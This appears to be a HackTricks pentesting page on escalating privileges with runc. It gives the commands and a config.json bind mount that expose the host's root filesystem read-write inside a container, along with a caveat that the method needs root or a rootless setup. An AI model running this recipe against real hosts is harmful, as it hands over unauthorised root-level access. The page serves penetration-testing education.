3.6 KiB
RunC Privilege Escalation
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Basic information
If you want to learn more about runc check the following page:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} 2375-pentesting-docker.md {% endcontent-ref %}
PE
If you find that runc is installed in the host you may be able to run a container mounting the root / folder of the host.
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
{% hint style="danger" %} This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. {% endhint %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
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- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.